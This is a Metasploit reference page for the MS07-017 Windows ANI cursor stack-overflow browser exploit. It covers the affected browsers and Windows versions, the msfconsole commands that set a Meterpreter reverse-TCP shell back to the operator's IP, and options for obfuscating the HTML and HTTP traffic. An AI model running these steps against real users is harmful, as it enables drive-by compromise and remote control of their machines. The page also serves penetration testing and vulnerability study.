Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) | Metasploit Exploit Database (DB)

Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)

This module exploits a buffer overflow vulnerability in the LoadAniIcon() function in USER32.dll. The flaw can be triggered through Internet Explorer 6 and 7 by using the CURSOR style sheet directive to load a malicious .ANI file. The module can also exploit Mozilla Firefox by using a UNC path in a moz-icon URL and serving the .ANI file over WebDAV. The vulnerable code in USER32.dll will catch any exceptions that occur while the invalid cursor is loaded, causing the exploit to silently fail when the wrong target has been chosen. This vulnerability was discovered by Alexander Sotirov of Determina and was rediscovered, in the wild, by McAfee.

Search Other Modules


Exploit Rank

  • Great

Exploit Authors

  • hdm < hdm [at] metasploit.com >
  • skape < mmiller [at] hick.org >
  • Solar Eclipse < solareclipse [at] phreedom.org >

Vulnerability References


Exploit Targets

  • 0 - (Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista (default)
  • 1 - IE6 on Windows NT, 2000, XP, 2003 (all languages)
  • 2 - IE7 on Windows XP SP2, 2003 SP1, SP2 (all languages)
  • 3 - IE7 and Firefox on Windows Vista (all languages)
  • 4 - Firefox on Windows XP (English)
  • 5 - Firefox on Windows 2003 (English)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
msf exploit(ms07_017_ani_loadimage_chunksize) > show payloads
msf exploit(ms07_017_ani_loadimage_chunksize) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms07_017_ani_loadimage_chunksize) > set LHOST [MY IP ADDRESS]
msf exploit(ms07_017_ani_loadimage_chunksize) > exploit


Exploit Module Options

SRVHOST The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0)
SRVPORT The daemon port to listen on (default: 80)
SSL Negotiate SSL for incoming connections
SSLCert Path to a custom SSL certificate (default is randomly generated)
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3)
URIPATH The URI to use. (default: /)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
ListenerComm The specific communication channel to use for this service
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
HTML::base64 Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate)
HTTP::header_folding Enable folding of HTTP headers
HTTP::junk_headers Enable insertion of random junk HTTP headers
HTTP::server_name Configures the Server header of all outgoing replies
TCP::max_send_size Maximum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)